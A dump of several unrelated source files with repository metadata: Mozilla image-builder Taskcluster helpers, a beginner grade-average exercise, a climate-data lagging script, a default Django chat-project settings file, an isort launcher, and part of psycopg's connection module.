print('info: role {} absence detected'.format(roleId))
auth.createRole(roleId, payload)
print('info: role {} created'.format(roleId))
def updateWorkerPool(workerManager, configPath, workerPoolId):
with open(configPath, 'r') as stream:
payload = yaml.safe_load(stream)
try:
workerManager.workerPool(workerPoolId = workerPoolId)
print('info: worker pool {} existence detected'.format(workerPoolId))
workerManager.updateWorkerPool(workerPoolId, payload)
print('info: worker pool {} updated'.format(workerPoolId))
except:
print('info: worker pool {} absence detected'.format(workerPoolId))
workerManager.createWorkerPool(workerPoolId, payload)
print('info: worker pool {} created'.format(workerPoolId))
def createTask(queue, taskId, taskName, taskDescription, provisioner, workerType, commands, env = None, image = None, priority = 'low', retries = 0, retriggerOnExitCodes = [], dependencies = [], maxRunMinutes = 10, features = {}, artifacts = [], osGroups = [], routes = [], scopes = [], taskGroupId = None):
payload = {
'created': '{}Z'.format(datetime.utcnow().isoformat()[:-3]),
'deadline': '{}Z'.format((datetime.utcnow() + timedelta(days = 3)).isoformat()[:-3]),
'dependencies': dependencies,
'provisionerId': provisioner,
'workerType': workerType,
'priority': priority,
'routes': routes,
'scopes': scopes,
'payload': {
'maxRunTime': (maxRunMinutes * 60),
'command': commands,
'artifacts': artifacts if workerType.startswith('win') else { artifact['name']: { 'type': artifact['type'], 'path': artifact['path'] } for artifact in artifacts },
'features': features
},
'metadata': {
'name': taskName,
'description': taskDescription,
'owner': 'grenade@mozilla.com',
'source': 'https://github.com/mozilla-platform-ops/cloud-image-builder'
},
'schedulerId': 'taskcluster-github'
}
if taskGroupId is not None:
payload['taskGroupId'] = taskGroupId
if env is not None:
payload['payload']['env'] = env
if image is not None:
payload['payload']['image'] = image
if osGroups:
payload['payload']['osGroups'] = osGroups
if retriggerOnExitCodes and retries > 0:
payload['retries'] = retries
payload['payload']['onExitStatus'] = {
'retry': retriggerOnExitCodes
}
queue.createTask(taskId, payload)
print('info: task {} ({}: {}), created with priority: {}'.format(taskId, taskName, taskDescription, priority))
def diskImageManifestHasChanged(platform, key, currentRevision):
try:
previousRevisionUrl = '{}/api/index/v1/task/project.relops.cloud-image-builder.{}.{}.latest/artifacts/public/image-bucket-resource.json'.format(os.environ['TASKCLUSTER_ROOT_URL'], platform, key)
previousRevision = json.loads(gzip.decompress(urllib.request.urlopen(previousRevisionUrl).read()).decode('utf-8-sig'))['build']['revision']
print('debug: previous revision determined as: {}, using: {}'.format(previousRevision, previousRevisionUrl))
currentConfig = getConfig(currentRevision, key)
print('debug: current config for: {}, loaded from revision: {}'.format(key, currentRevision[0:7]))
previousConfig = getConfig(previousRevision, key)
print('debug: previous config for: {}, loaded from revision: {}'.format(key, previousRevision[0:7]))
except:
print('error: failed to load comparable disk image configs for: {}'.format(key))
return True
imageConfigUnchanged = True
isoConfigUnchanged = True
sharedFilesUnchanged = True
if currentConfig['image'] == previousConfig['image']:
print('info: no change detected for image definition in {}.yaml between last image build in revision: {} and current revision: {}'.format(key, previousRevision[0:7], currentRevision[0:7]))
else:
imageConfigUnchanged = False
print('info: change detected for image definition in {}.yaml between last image build in revision: {} and current revision: {}'.format(key, previousRevision[0:7], currentRevision[0:7]))
if currentConfig['iso'] == previousConfig['iso']:
print('info: no change detected for iso definition in {}.yaml between last image build in revision: {} and current revision: {}'.format(key, previousRevision[0:7], currentRevision[0:7]))
else:
isoConfigUnchanged = False
print('info: change detected for iso definition in {}.yaml between last image build in revision: {} and current revision: {}'.format(key, previousRevision[0:7], currentRevision[0:7]))
# todo: parse shared config files for change specific to platform/key
for sharedFile in ['disable-windows-service', 'drivers', 'packages', 'unattend-commands']:
currentContents = urllib.request.urlopen('https://raw.githubusercontent.com/mozilla-platform-ops/cloud-image-builder/{}/config/{}.yaml'.format(currentRevision, sharedFile)).read().decode()
previousContents = urllib.request.urlopen('https://raw.githubusercontent.com/mozilla-platform-ops/cloud-image-builder/{}/config/{}.yaml'.format(previousRevision, sharedFile)).read().decode()
if currentContents == previousContents:
print('info: no change detected in {}.yaml between last image build in revision: {} and current revision: {}'.format(sharedFile, previousRevision[0:7], currentRevision[0:7]))
else:
sharedFilesUnchanged = False
print('info: change detected for {}.yaml between last image build in revision: {} and current revision: {}'.format(sharedFile, previousRevision[0:7], currentRevision[0:7]))
return not (imageConfigUnchanged and isoConfigUnchanged and sharedFilesUnchanged)
def machineImageManifestHasChanged(platform, key, currentRevision, group):
try:
previousRevisionUrl = '{}/api/index/v1/task/project.relops.cloud-image-builder.{}.{}.latest/artifacts/public/image-bucket-resource.json'.format(os.environ['TASKCLUSTER_ROOT_URL'], platform, key)
previousRevision = json.loads(gzip.decompress(urllib.request.urlopen(previousRevisionUrl).read()).decode('utf-8-sig'))['build']['revision']
print('debug: previous revision determined as: {}, using: {}'.format(previousRevision, previousRevisionUrl))
currentConfig = getConfig(currentRevision, key)
print('debug: current config for: {}, loaded from revision: {}'.format(key, currentRevision[0:7]))
previousConfig = getConfig(previousRevision, key)
print('debug: previous config for: {}, loaded from revision: {}'.format(key, previousRevision[0:7]))
except:
print('error: failed to load comparable disk image configs for: {}'.format(key))
return True
targetBootstrapUnchanged = True
targetTagsUnchanged = True
currentTargetGroupConfig = next((t for t in currentConfig['target'] if t['group'] == group), None)
previousTargetGroupConfig = next((t for t in previousConfig['target'] if t['group'] == group), None)
if previousTargetGroupConfig is None and currentTargetGroupConfig is not None:
print('info: new target group {} detected, in {}.yaml since last image build in revision: {} and current revision: {}'.format(group, key, previousRevision[0:7], currentRevision[0:7]))
return True
if 'bootstrap' in currentTargetGroupConfig and 'bootstrap' not in previousTargetGroupConfig:
targetBootstrapUnchanged = False
print('info: change detected in target group {}. new bootstrap execution commands definition in {}.yaml between last image build in revision: {} and current revision: {}'.format(group, key, previousRevision[0:7], currentRevision[0:7]))
elif 'bootstrap' not in currentTargetGroupConfig and 'bootstrap' in previousTargetGroupConfig:
targetBootstrapUnchanged = False
print('info: change detected in target group {}. removed bootstrap execution commands definition in {}.yaml between last image build in revision: {} and current revision: {}'.format(group, key, previousRevision[0:7], currentRevision[0:7]))
elif 'bootstrap' in currentTargetGroupConfig and 'bootstrap' in previousTargetGroupConfig and currentTargetGroupConfig['bootstrap'] != previousTargetGroupConfig['bootstrap']:
targetBootstrapUnchanged = False
print('info: change detected in target group {}, for bootstrap execution commands definition in {}.yaml between last image build in revision: {} and current revision: {}'.format(group, key, previousRevision[0:7], currentRevision[0:7]))
else:
print('info: no change detected in target group {}, for bootstrap execution commands definition in {}.yaml between last image build in revision: {} and current revision: {}'.format(group, key, previousRevision[0:7], currentRevision[0:7]))
for tagKey in ['workerType', 'sourceOrganisation', 'sourceRepository', 'sourceRevision', 'sourceScript', 'deploymentId']:
currentTagValue = next((tag for tag in currentTargetGroupConfig['tag'] if tag['name'] == tagKey), { 'value': '' })['value']
previousTagValue = next((tag for tag in previousTargetGroupConfig['tag'] if tag['name'] == tagKey), { 'value': '' })['value']
if currentTagValue == previousTagValue:
print('debug: no change detected for tag {}, with value "{}", in target group {}, in {}.yaml between last image build in revision: {} and current revision: {}'.format(tagKey, currentTagValue, group, key, previousRevision[0:7], currentRevision[0:7]))
else:
targetTagsUnchanged = False
print('info: change detected for tag {}, with previous value "{}", and new value "{}", in target group {}, in {}.yaml between last image build in revision: {} and current revision: {}'.format(tagKey, previousTagValue, currentTagValue, group, key, previousRevision[0:7], currentRevision[0:7]))
return not (targetBootstrapUnchanged and targetTagsUnchanged)
def machineImageExists(taskclusterIndex, platformClient, platform, group, key):
artifact = taskclusterIndex.findArtifactFromTask(
'project.relops.cloud-image-builder.{}.{}.latest'.format(platform, key.replace('-{}'.format(platform), '')),
'public/image-bucket-resource.json')
image = None
if platform == 'azure':
imageName = '{}-{}-{}'.format(group.replace('rg-', ''), key.replace('-{}'.format(platform), ''), artifact['build']['revision'][0:7])
try:
image = platformClient.images.get(group, imageName)
print('{} machine image: {} found with id: {}'.format(platform, imageName, image.id))
except:
image = None
print('{} machine image: {} not found'.format(platform, imageName))
#elif platform == 'amazon':
return image is not None
|
[
"rthijssen@gmail.com"
] |
rthijssen@gmail.com
|
dc6915253df8e0d8731f11cc979a0b8130edcaf3
|
ef5ecb62af83623b071b81b8d68eaac7fcce80cc
|
/beginner/question_1118.py
|
5f3f8d08cc8bc43d4bf3a6dfaeb71c2bae72825d
|
[] |
no_license
|
LuizHenrique1999/uri_online_judge
|
0e6d5f48c4ffd58902164ea9decf377b9df46283
|
937527ef0ebdff9756ab22bd95dbc03218a25144
|
refs/heads/main
| 2023-04-01T21:10:24.629839
| 2021-03-30T21:34:23
| 2021-03-30T21:34:23
| 352,787,507
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 694
|
py
|
def novo_calculo():
while True:
print('novo calculo (1-sim 2-nao)')
novo_calc = float(input())
if novo_calc == 1:
repete_operacao()
elif novo_calc == 2:
exit()
elif novo_calc != 1 and novo_calc != 2:
continue
def repete_operacao():
lista_repete = []
while True:
n = float(input())
if n >= 0 and n < 10.01:
lista_repete.append(n)
else:
print('nota invalida')
if len(lista_repete) == 2:
res = (lista_repete[0] + lista_repete[1]) / 2
print('media = %.2f' % res)
break
repete_operacao()
novo_calculo()
|
[
"luizdesenv01@outlook.com"
] |
luizdesenv01@outlook.com
|
3726da4b6e8c640f2c1e4980ff8758f66e31bb14
|
facb8b9155a569b09ba66aefc22564a5bf9cd319
|
/wp2/era5_scripts/02_preprocessing/lag82/504-tideGauge.py
|
f6cdd6a41e7cde5295cbc1bf322d1a52927b4360
|
[] |
no_license
|
moinabyssinia/modeling-global-storm-surges
|
13e69faa8f45a1244a964c5de4e2a5a6c95b2128
|
6e385b2a5f0867df8ceabd155e17ba876779c1bd
|
refs/heads/master
| 2023-06-09T00:40:39.319465
| 2021-06-25T21:00:44
| 2021-06-25T21:00:44
| 229,080,191
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,984
|
py
|
# -*- coding: utf-8 -*-
"""
Created on Tue Mar 31 17:12:23 2020
****************************************************
Load predictors & predictands + predictor importance
****************************************************
@author: Michael Tadesse
"""
#import packages
import os
import pandas as pd
import datetime as dt #used for timedelta
from datetime import datetime
#define directories
dir_in = '/lustre/fs0/home/mtadesse/ereaFiveCombine'
dir_out = '/lustre/fs0/home/mtadesse/eraFiveLag'
def lag():
os.chdir(dir_in)
#get names
tg_list_name = os.listdir()
x = 504
y = 505
for t in range(x, y):
tg_name = tg_list_name[t]
print(tg_name, '\n')
# #check if the file exists
# os.chdir(dir_out)
# if (os.path.isfile(tg_name)):
# print('file already exists')
# continue
#cd to where the actual file is
os.chdir(dir_in)
pred = pd.read_csv(tg_name)
pred.sort_values(by = 'date', inplace=True)
pred.reset_index(inplace = True)
pred.drop('index', axis = 1, inplace = True)
#create a daily time series - date_range
#get only the ymd of the start and end times
start_time = pred['date'][0].split(' ')[0]
end_time = pred['date'].iloc[-1].split(' ')[0]
print(start_time, ' - ', end_time, '\n')
date_range = pd.date_range(start_time, end_time, freq = 'D')
#defining time changing lambda functions
time_str = lambda x: str(x)
time_converted_str = pd.DataFrame(map(time_str, date_range), columns = ['date'])
time_converted_stamp = pd.DataFrame(date_range, columns = ['timestamp'])
"""
first prepare the six time lagging dataframes
then use the merge function to merge the original
predictor with the lagging dataframes
"""
#prepare lagged time series for time only
#note here that since ERA20C has 3hrly data
#the lag_hrs is increased from 6(eraint) to 11 (era20C)
time_lagged = pd.DataFrame()
lag_hrs = [0, 6, 12, 18, 24, 30]
for lag in lag_hrs:
lag_name = 'lag'+str(lag)
lam_delta = lambda x: str(x - dt.timedelta(hours = lag))
lag_new = pd.DataFrame(map(lam_delta, time_converted_stamp['timestamp']), \
columns = [lag_name])
time_lagged = pd.concat([time_lagged, lag_new], axis = 1)
#datafrmae that contains all lagged time series (just time)
time_all = pd.concat([time_converted_str, time_lagged], axis = 1)
pred_lagged = pd.DataFrame()
for ii in range(1,time_all.shape[1]): #to loop through the lagged time series
print(time_all.columns[ii])
#extracting corresponding tag time series
lag_ts = pd.DataFrame(time_all.iloc[:,ii])
lag_ts.columns = ['date']
#merge the selected tlagged time with the predictor on = "date"
pred_new = pd.merge(pred, lag_ts, on = ['date'], how = 'right')
pred_new.drop('Unnamed: 0', axis = 1, inplace = True)
#sometimes nan values go to the bottom of the dataframe
#sort df by date -> reset the index -> remove old index
pred_new.sort_values(by = 'date', inplace=True)
pred_new.reset_index(inplace=True)
pred_new.drop('index', axis = 1, inplace= True)
#concatenate lagged dataframe
if ii == 1:
pred_lagged = pred_new
else:
pred_lagged = pd.concat([pred_lagged, pred_new.iloc[:,1:]], axis = 1)
#cd to saving directory
os.chdir(dir_out)
pred_lagged.to_csv(tg_name)
os.chdir(dir_in)
#run script
lag()
|
[
"michaelg.tadesse@gmail.com"
] |
michaelg.tadesse@gmail.com
|
f5b45500bb75688f6f3ca574206f37660a15e559
|
e9ef558d04f39f0e82ad63e955dd8772e63c99c3
|
/chat_project/chat_project/settings.py
|
a728c23923310ab703ec61e0f1b5ef83ec5c8de4
|
[
"MIT"
] |
permissive
|
nahidsaikat/Chat
|
5634ff91eef394ec2b6288d1adff17f0eb867b15
|
7d314195b03d355844767f7c89cca34f0fad95c9
|
refs/heads/master
| 2022-12-14T03:44:01.105994
| 2021-06-30T15:19:21
| 2021-06-30T15:19:21
| 177,983,242
| 0
| 0
|
MIT
| 2022-12-08T07:44:46
| 2019-03-27T11:49:48
|
Python
|
UTF-8
|
Python
| false
| false
| 3,434
|
py
|
"""
Django settings for chat_project project.
Generated by 'django-admin startproject' using Django 2.1.7.
For more information on this file, see
https://docs.djangoproject.com/en/2.1/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.1/ref/settings/
"""
import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.1/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'ti1$n@9k5ub@9r76iw*f(&m*8#wm#-oiiid2jzi)_94bjq_1y&'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'rest_framework',
'chat_app'
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'chat_project.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'chat_project.wsgi.application'
# Database
# https://docs.djangoproject.com/en/2.1/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
# Password validation
# https://docs.djangoproject.com/en/2.1/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/2.1/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/2.1/howto/static-files/
STATIC_URL = '/static/'
REST_FRAMEWORK = {
'DEFAULT_AUTHENTICATION_CLASSES': (
'rest_framework.authentication.BasicAuthentication',
'rest_framework.authentication.SessionAuthentication',
),
'DEFAULT_PERMISSION_CLASSES': (
'rest_framework.permissions.IsAuthenticated',
),
}
|
[
"nahidsaikatft40@gmail.com"
] |
nahidsaikatft40@gmail.com
|
7cd3ad3b9c2bd241d97911ad2747e505a813da0f
|
678c8ca14253ed854e5e45d2821ee2c9b39c3a6f
|
/venv/bin/isort-identify-imports
|
ec4dc8cf2f2912dc8d69b8b5a129757cd519b581
|
[] |
no_license
|
Wade-Philander/flask
|
386593bdffc3be2981b59edeb39c96dbbc398278
|
5ab7fcc4f3f2d1567b0fe4b0600dc96c2f1b01c0
|
refs/heads/main
| 2023-03-01T01:38:24.474212
| 2021-02-09T08:16:36
| 2021-02-09T08:16:36
| 337,100,242
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 266
|
#!/home/user/uber-ladies/venv/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from isort.main import identify_imports_main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(identify_imports_main())
|
[
"wadephilander7@gmail.com"
] |
wadephilander7@gmail.com
|
|
0162203b7365b76dc6cd9b9925f7f1a04b7a2f35
|
3ddfaf06a0ceba7322f64710a6d145fd27482e13
|
/BackEnd/venv/Lib/site-packages/psycopg/connection.py
|
5999f6ac06e6c22fccfa52a3a85b6f73bafcaf68
|
[] |
no_license
|
NurbakZh/GuideLion
|
7336a7ce9343b62e97db0607004a45642cb3192e
|
ee1145d372735579790aef87986f7c8d46cc214f
|
refs/heads/master
| 2023-08-13T13:34:22.111612
| 2021-10-10T19:26:53
| 2021-10-10T19:26:53
| 399,252,272
| 18
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 25,986
|
py
|
"""
psycopg connection objects
"""
# Copyright (C) 2020-2021 The Psycopg Team
import logging
import warnings
import threading
from types import TracebackType
from typing import Any, Callable, cast, Dict, Generic, Iterator, List
from typing import NamedTuple, Optional, Type, TypeVar, Union
from typing import overload, TYPE_CHECKING
from weakref import ref, ReferenceType
from functools import partial
from contextlib import contextmanager
from . import pq
from . import adapt
from . import errors as e
from . import waiting
from . import postgres
from . import encodings
from .pq import ConnStatus, ExecStatus, TransactionStatus, Format
from .abc import ConnectionType, Params, PQGen, PQGenConn, Query, RV
from .sql import Composable
from .rows import Row, RowFactory, tuple_row, TupleRow
from ._enums import IsolationLevel
from .cursor import Cursor
from ._cmodule import _psycopg
from .conninfo import make_conninfo, conninfo_to_dict, ConnectionInfo
from .generators import notifies
from ._preparing import PrepareManager
from .transaction import Transaction
from .server_cursor import ServerCursor
if TYPE_CHECKING:
from .pq.abc import PGconn, PGresult
from psycopg_pool.base import BasePool
logger = logging.getLogger("psycopg")
connect: Callable[[str], PQGenConn["PGconn"]]
execute: Callable[["PGconn"], PQGen[List["PGresult"]]]
# Row Type variable for Cursor (when it needs to be distinguished from the
# connection's one)
CursorRow = TypeVar("CursorRow")
if _psycopg:
connect = _psycopg.connect
execute = _psycopg.execute
else:
from . import generators
connect = generators.connect
execute = generators.execute
class Notify(NamedTuple):
"""An asynchronous notification received from the database."""
channel: str
"""The name of the channel on which the notification was received."""
payload: str
"""The message attached to the notification."""
pid: int
"""The PID of the backend process which sent the notification."""
Notify.__module__ = "psycopg"
NoticeHandler = Callable[[e.Diagnostic], None]
NotifyHandler = Callable[[Notify], None]
class BaseConnection(Generic[Row]):
"""
Base class for different types of connections.
Share common functionalities such as access to the wrapped PGconn, but
allow different interfaces (sync/async).
"""
# DBAPI2 exposed exceptions
Warning = e.Warning
Error = e.Error
InterfaceError = e.InterfaceError
DatabaseError = e.DatabaseError
DataError = e.DataError
OperationalError = e.OperationalError
IntegrityError = e.IntegrityError
InternalError = e.InternalError
ProgrammingError = e.ProgrammingError
NotSupportedError = e.NotSupportedError
# Enums useful for the connection
ConnStatus = pq.ConnStatus
TransactionStatus = pq.TransactionStatus
def __init__(self, pgconn: "PGconn"):
self.pgconn = pgconn
self._autocommit = False
self._adapters = adapt.AdaptersMap(postgres.adapters)
self._notice_handlers: List[NoticeHandler] = []
self._notify_handlers: List[NotifyHandler] = []
# Stack of savepoint names managed by current transaction blocks.
# the first item is "" in case the outermost Transaction must manage
# only a begin/commit and not a savepoint.
self._savepoints: List[str] = []
self._closed = False # closed by an explicit close()
self._prepared: PrepareManager = PrepareManager()
wself = ref(self)
pgconn.notice_handler = partial(BaseConnection._notice_handler, wself)
pgconn.notify_handler = partial(BaseConnection._notify_handler, wself)
# Attribute is only set if the connection is from a pool so we can tell
# apart a connection in the pool too (when _pool = None)
self._pool: Optional["BasePool[Any]"]
# Time after which the connection should be closed
self._expire_at: float
self._isolation_level: Optional[IsolationLevel] = None
self._read_only: Optional[bool] = None
self._deferrable: Optional[bool] = None
self._begin_statement = b""
def __del__(self) -> None:
# If fails on connection we might not have this attribute yet
if not hasattr(self, "pgconn"):
return
# Connection correctly closed
if self.closed:
return
# Connection in a pool so terminating with the program is normal
if hasattr(self, "_pool"):
return
warnings.warn(
f"connection {self} was deleted while still open."
f" Please use 'with' or '.close()' to close the connection",
ResourceWarning,
)
def __repr__(self) -> str:
cls = f"{self.__class__.__module__}.{self.__class__.__qualname__}"
info = pq.misc.connection_summary(self.pgconn)
return f"<{cls} {info} at 0x{id(self):x}>"
@property
def closed(self) -> bool:
"""`!True` if the connection is closed."""
return self.pgconn.status == ConnStatus.BAD
@property
def broken(self) -> bool:
"""
`!True` if the connection was interrupted.
A broken connection is always `closed`, but wasn't closed in a clean
way, such as using `close()` or a ``with`` block.
"""
return self.pgconn.status == ConnStatus.BAD and not self._closed
@property
def autocommit(self) -> bool:
"""The autocommit state of the connection."""
return self._autocommit
@autocommit.setter
def autocommit(self, value: bool) -> None:
self._set_autocommit(value)
def _set_autocommit(self, value: bool) -> None:
# Base implementation, not thread safe.
# Subclasses must call it holding a lock
self._check_intrans("autocommit")
self._autocommit = bool(value)
@property
def isolation_level(self) -> Optional[IsolationLevel]:
"""
The isolation level of the new transactions started on the connection.
"""
return self._isolation_level
@isolation_level.setter
def isolation_level(self, value: Optional[IsolationLevel]) -> None:
self._set_isolation_level(value)
def _set_isolation_level(self, value: Optional[IsolationLevel]) -> None:
# Base implementation, not thread safe.
# Subclasses must call it holding a lock
self._check_intrans("isolation_level")
self._isolation_level = (
IsolationLevel(value) if value is not None else None
)
self._begin_statement = b""
@property
def read_only(self) -> Optional[bool]:
"""
The read-only state of the new transactions started on the connection.
"""
return self._read_only
@read_only.setter
def read_only(self, value: Optional[bool]) -> None:
self._set_read_only(value)
def _set_read_only(self, value: Optional[bool]) -> None:
# Base implementation, not thread safe.
# Subclasses must call it holding a lock
self._check_intrans("read_only")
self._read_only = bool(value)
self._begin_statement = b""
@property
def deferrable(self) -> Optional[bool]:
"""
The deferrable state of the new transactions started on the connection.
"""
return self._deferrable
@deferrable.setter
def deferrable(self, value: Optional[bool]) -> None:
self._set_deferrable(value)
def _set_deferrable(self, value: Optional[bool]) -> None:
# Base implementation, not thread safe.
# Subclasses must call it holding a lock
self._check_intrans("deferrable")
self._deferrable = bool(value)
self._begin_statement = b""
def _check_intrans(self, attribute: str) -> None:
# Raise an exception if we are in a transaction
status = self.pgconn.transaction_status
if status != TransactionStatus.IDLE:
if self._savepoints:
raise e.ProgrammingError(
f"can't change {attribute!r} now: "
"connection.transaction() context in progress"
)
else:
raise e.ProgrammingError(
f"can't change {attribute!r} now: "
"connection in transaction status "
f"{TransactionStatus(status).name}"
)
@property
def client_encoding(self) -> str:
"""The Python codec name of the connection's client encoding."""
pgenc = self.pgconn.parameter_status(b"client_encoding") or b"UTF8"
return encodings.pg2py(pgenc)
@client_encoding.setter
def client_encoding(self, name: str) -> None:
self._set_client_encoding(name)
def _set_client_encoding(self, name: str) -> None:
raise NotImplementedError
def _set_client_encoding_gen(self, name: str) -> PQGen[None]:
self.pgconn.send_query_params(
b"SELECT set_config('client_encoding', $1, false)",
[encodings.py2pg(name)],
)
(result,) = yield from execute(self.pgconn)
if result.status != ExecStatus.TUPLES_OK:
raise e.error_from_result(result, encoding=self.client_encoding)
@property
def info(self) -> ConnectionInfo:
"""A `ConnectionInfo` attribute to inspect connection properties."""
return ConnectionInfo(self.pgconn)
@property
def adapters(self) -> adapt.AdaptersMap:
return self._adapters
@property
def connection(self) -> "BaseConnection[Row]":
# implement the AdaptContext protocol
return self
def fileno(self) -> int:
"""Return the file descriptor of the connection.
This function allows to use the connection as file-like object in
functions waiting for readiness, such as the ones defined in the
`selectors` module.
"""
return self.pgconn.socket
def cancel(self) -> None:
"""Cancel the current operation on the connection."""
c = self.pgconn.get_cancel()
c.cancel()
def add_notice_handler(self, callback: NoticeHandler) -> None:
"""
Register a callable to be invoked when a notice message is received.
"""
self._notice_handlers.append(callback)
def remove_notice_handler(self, callback: NoticeHandler) -> None:
"""
Unregister a notice message callable previously registered.
"""
self._notice_handlers.remove(callback)
@staticmethod
def _notice_handler(
wself: "ReferenceType[BaseConnection[Row]]", res: "PGresult"
) -> None:
self = wself()
if not (self and self._notice_handler):
return
diag = e.Diagnostic(res, self.client_encoding)
for cb in self._notice_handlers:
try:
cb(diag)
except Exception as ex:
logger.exception(
"error processing notice callback '%s': %s", cb, ex
)
def add_notify_handler(self, callback: NotifyHandler) -> None:
"""
Register a callable to be invoked whenever a notification is received.
"""
self._notify_handlers.append(callback)
def remove_notify_handler(self, callback: NotifyHandler) -> None:
"""
Unregister a notification callable previously registered.
"""
self._notify_handlers.remove(callback)
@staticmethod
def _notify_handler(
wself: "ReferenceType[BaseConnection[Row]]", pgn: pq.PGnotify
) -> None:
self = wself()
if not (self and self._notify_handlers):
return
enc = self.client_encoding
n = Notify(pgn.relname.decode(enc), pgn.extra.decode(enc), pgn.be_pid)
for cb in self._notify_handlers:
cb(n)
@property
def prepare_threshold(self) -> Optional[int]:
"""
Number of times a query is executed before it is prepared.
- If it is set to 0, every query is prepared the first time is
executed.
- If it is set to `!None`, prepared statements are disabled on the
connection.
Default value: 5
"""
return self._prepared.prepare_threshold
@prepare_threshold.setter
def prepare_threshold(self, value: Optional[int]) -> None:
self._prepared.prepare_threshold = value
@property
def prepared_max(self) -> int:
"""
Maximum number of prepared statements on the connection.
Default value: 100
"""
return self._prepared.prepared_max
@prepared_max.setter
def prepared_max(self, value: int) -> None:
self._prepared.prepared_max = value
# Generators to perform high-level operations on the connection
#
# These operations are expressed in terms of non-blocking generators
# and the task of waiting when needed (when the generators yield) is left
# to the connections subclass, which might wait either in blocking mode
# or through asyncio.
#
# All these generators assume exclusive acces to the connection: subclasses
# should have a lock and hold it before calling and consuming them.
@classmethod
def _connect_gen(
cls: Type[ConnectionType],
conninfo: str = "",
*,
autocommit: bool = False,
) -> PQGenConn[ConnectionType]:
"""Generator to connect to the database and create a new instance."""
pgconn = yield from connect(conninfo)
conn = cls(pgconn)
conn._autocommit = bool(autocommit)
return conn
def _exec_command(
self, command: Query, result_format: Format = Format.TEXT
) -> PQGen["PGresult"]:
"""
Generator to send a command and receive the result to the backend.
Only used to implement internal commands such as "commit", with eventual
arguments bound client-side. The cursor can do more complex stuff.
"""
if self.pgconn.status != ConnStatus.OK:
if self.pgconn.status == ConnStatus.BAD:
raise e.OperationalError("the connection is closed")
raise e.InterfaceError(
f"cannot execute operations: the connection is"
f" in status {self.pgconn.status}"
)
if isinstance(command, str):
command = command.encode(self.client_encoding)
elif isinstance(command, Composable):
command = command.as_bytes(self)
if result_format == Format.TEXT:
self.pgconn.send_query(command)
else:
self.pgconn.send_query_params(
command, None, result_format=result_format
)
result = (yield from execute(self.pgconn))[-1]
if result.status not in (ExecStatus.COMMAND_OK, ExecStatus.TUPLES_OK):
if result.status == ExecStatus.FATAL_ERROR:
raise e.error_from_result(
result, encoding=self.client_encoding
)
else:
raise e.InterfaceError(
f"unexpected result {ExecStatus(result.status).name}"
f" from command {command.decode('utf8')!r}"
)
return result
def _start_query(self) -> PQGen[None]:
"""Generator to start a transaction if necessary."""
if self._autocommit:
return
if self.pgconn.transaction_status != TransactionStatus.IDLE:
return
yield from self._exec_command(self._get_tx_start_command())
def _get_tx_start_command(self) -> bytes:
if self._begin_statement:
return self._begin_statement
parts = [b"BEGIN"]
if self.isolation_level is not None:
val = IsolationLevel(self.isolation_level)
parts.append(b"ISOLATION LEVEL")
parts.append(val.name.replace("_", " ").encode("utf8"))
if self.read_only is not None:
parts.append(b"READ ONLY" if self.read_only else b"READ WRITE")
if self.deferrable is not None:
parts.append(
b"DEFERRABLE" if self.deferrable else b"NOT DEFERRABLE"
)
self._begin_statement = b" ".join(parts)
return self._begin_statement
def _commit_gen(self) -> PQGen[None]:
"""Generator implementing `Connection.commit()`."""
if self._savepoints:
raise e.ProgrammingError(
"Explicit commit() forbidden within a Transaction "
"context. (Transaction will be automatically committed "
"on successful exit from context.)"
)
if self.pgconn.transaction_status == TransactionStatus.IDLE:
return
yield from self._exec_command(b"COMMIT")
def _rollback_gen(self) -> PQGen[None]:
"""Generator implementing `Connection.rollback()`."""
if self._savepoints:
raise e.ProgrammingError(
"Explicit rollback() forbidden within a Transaction "
"context. (Either raise Rollback() or allow "
"an exception to propagate out of the context.)"
)
if self.pgconn.transaction_status == TransactionStatus.IDLE:
return
yield from self._exec_command(b"ROLLBACK")
class Connection(BaseConnection[Row]):
"""
Wrapper for a connection to the database.
"""
__module__ = "psycopg"
cursor_factory: Type[Cursor[Row]]
server_cursor_factory: Type[ServerCursor[Row]]
